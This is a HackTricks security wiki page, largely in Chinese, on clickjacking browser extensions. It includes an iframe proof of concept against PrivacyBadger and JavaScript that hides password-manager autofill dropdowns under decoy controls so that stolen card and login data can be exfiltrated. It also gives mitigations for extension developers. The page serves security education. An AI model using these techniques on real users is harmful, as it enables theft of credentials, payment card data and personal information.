BrowExt - ClickJacking

Reading time: 12 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

本页将利用浏览器扩展中的 ClickJacking 漏洞。
如果你不知道 ClickJacking 是什么,请查看:

Clickjacking

扩展包含文件 manifest.json,该 JSON 文件有一个字段 web_accessible_resources。这是 the Chrome docs 对此的说明:

这些资源随后可以通过网页上的 URL chrome-extension://[PACKAGE ID]/[PATH] 访问,该 URL 可以通过 extension.getURL method 生成。在允许列表中的资源会带有适当的 CORS 头,因此可以通过诸如 XHR 的机制访问。1

浏览器扩展中的 web_accessible_resources 不仅可以被网页访问;它们还以扩展自身的特权运行。这意味着它们具有以下能力:

  • 更改扩展的状态
  • 加载额外资源
  • 在一定程度上与浏览器交互

然而,此功能带来了安全风险。如果 web_accessible_resources 中的资源具有任何重要功能,攻击者可能将此资源嵌入到外部网页中。访问该页面的毫不知情的用户可能无意中激活嵌入的资源。此类激活可能导致意外后果,具体取决于扩展资源的权限和能力。

PrivacyBadger 示例

在扩展 PrivacyBadger 中,发现一个漏洞,原因是 skin/ 目录被声明为 web_accessible_resources,如下所示(Check the original blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

此配置导致了一个潜在的安全问题。具体来说,skin/popup.html 文件(当用户在浏览器中与 PrivacyBadger 图标交互时渲染)可以被嵌入到一个 iframe 中。该嵌入可以被利用来诱导用户无意点击 “Disable PrivacyBadger for this Website”。这样的操作会通过禁用 PrivacyBadger 保护来危及用户隐私,并可能使用户暴露于更多的跟踪。该利用的可视化演示可以在 ClickJacking 视频示例中查看:https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

为了解决此漏洞,采用了一个简单的解决方案:从 web_accessible_resources 列表中移除 /skin/*。此更改有效降低了风险,确保 skin/ 目录的内容无法通过 web-accessible 资源被访问或操控。

修复很简单:remove /skin/* from the web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask 示例

A 关于 Metamask 中 ClickJacking 的一篇博客文章见此。在此情况下,Metamask 通过检查访问所用的协议是否为 https:http:(例如不是 chrome:)来修复该漏洞:

Metamask extension 中修复的另一个 ClickJacking 问题是:当某个页面因为 “web_accessible_resources”: [“inpage.js”, “phishing.html”] 被怀疑为 phishing 时,用户能够 Click to whitelist。由于该页面易受 Clickjacking 攻击,攻击者可以滥用它:先显示正常内容诱使受害者在不注意的情况下点击以加入白名单,然后返回到将被列入白名单的 phishing 页面。

Steam Inventory Helper 示例

查看以下页面以了解如何将浏览器扩展中的 XSSClickJacking 漏洞链在一起:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

经典的 extension clickjacking 利用配置错误的 web_accessible_resources 将受特权的 HTML 嵌入 iframe 并诱导用户点击。一个较新的类别,DOM-based extension clickjacking,直接针对 password managers 注入到页面 DOM 的 autofill 下拉菜单,使用 CSS/DOM 技巧将其隐藏或遮挡,同时保持可被点击。一次被强制的点击就可能选择一个已存条目,并将敏感数据填入由攻击者控制的输入字段。

威胁模型

  • Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
  • Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
  • At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).

攻击流程(手动 autofill)

  1. 注入一个不可见但可聚焦的表单(login/PII/credit-card 字段)。
  2. 聚焦某个输入以唤出 extension 的 autofill 下拉菜单(靠近该字段)。
  3. 隐藏或遮挡 extension 的 UI,同时保持其可交互。
  4. 在被隐藏的下拉菜单下方对齐一个看起来合理的控件,诱导点击以选择某项。
  5. 从攻击者表单读取被填充的数值并外泄。

如何隐藏 autofill UI

  • Extension element
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • 子元素位于 open ShadowRoot 内 (动态标签,隐藏内部 iframe):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • 父元素
  • BODY/HTML opacity 技巧,用于使扩展 UI 在页面看起来正常时不可见(例如,截图背景):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Partial overlay: 遮挡除几像素外的所有内容,使 dropdown 保持可点击(确保攻击者 overlay 是 DOM 中最后一个且具有最大的 z-index,或使用 Top Layer)。
  • Full overlay 使用 pointer-events:none,使点击穿透到隐藏的 dropdown;使用 Popover API 保持其持久:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

定位受害者点击

  • 固定放置:将隐藏的下拉菜单放在看起来合理的控件下方,例如 “Accept cookies”、“Close” 或 CAPTCHA 复选框。
  • 跟随鼠标:将聚焦的输入项移动到光标下方,使下拉菜单跟随它;定期重新聚焦,以便在任意位置单击一次即可选择一项:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

影响和场景

  • Attacker-controlled site: 一次被迫点击就可能 exfiltrate 信用卡数据(number/expiry/CVC)和个人信息(姓名、电子邮件、电话、地址、出生日期 (DOB)),这些信息不受域范围限制。
  • Trusted site with XSS/subdomain takeover/cache poisoning: 通过多次点击可窃取凭证(username/password)和 TOTP,因为许多管理器会跨相关子域/父域自动填充(例如 *.example.com)。
  • Passkeys: 如果 RP 不将 WebAuthn challenges 绑定到会话,XSS 可以拦截签名的 signed assertion;DOM-based clickjacking 隐藏 passkey 提示以诱使用户进行确认性点击。

限制

  • 需要至少一次用户点击和良好的像素对齐(现实感强的覆盖层更容易诱发点击)。
  • 自动锁定/注销会缩短可利用窗口;一些管理器在“锁定”状态下仍会 autofill。

Extension developer mitigations

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Resist CSS tampering: prefer Closed Shadow DOM and monitor with MutationObserver for suspicious style changes on UI roots.
  • Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable pointer-events:none, and use elementsFromPoint() to detect occlusion; close UI if overlays exist.
  • Detect suspicious <body>/<html> opacity or style changes both pre- and post-render.
  • For iframe-based issues: scope MV3 web_accessible_resources matches narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'.

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks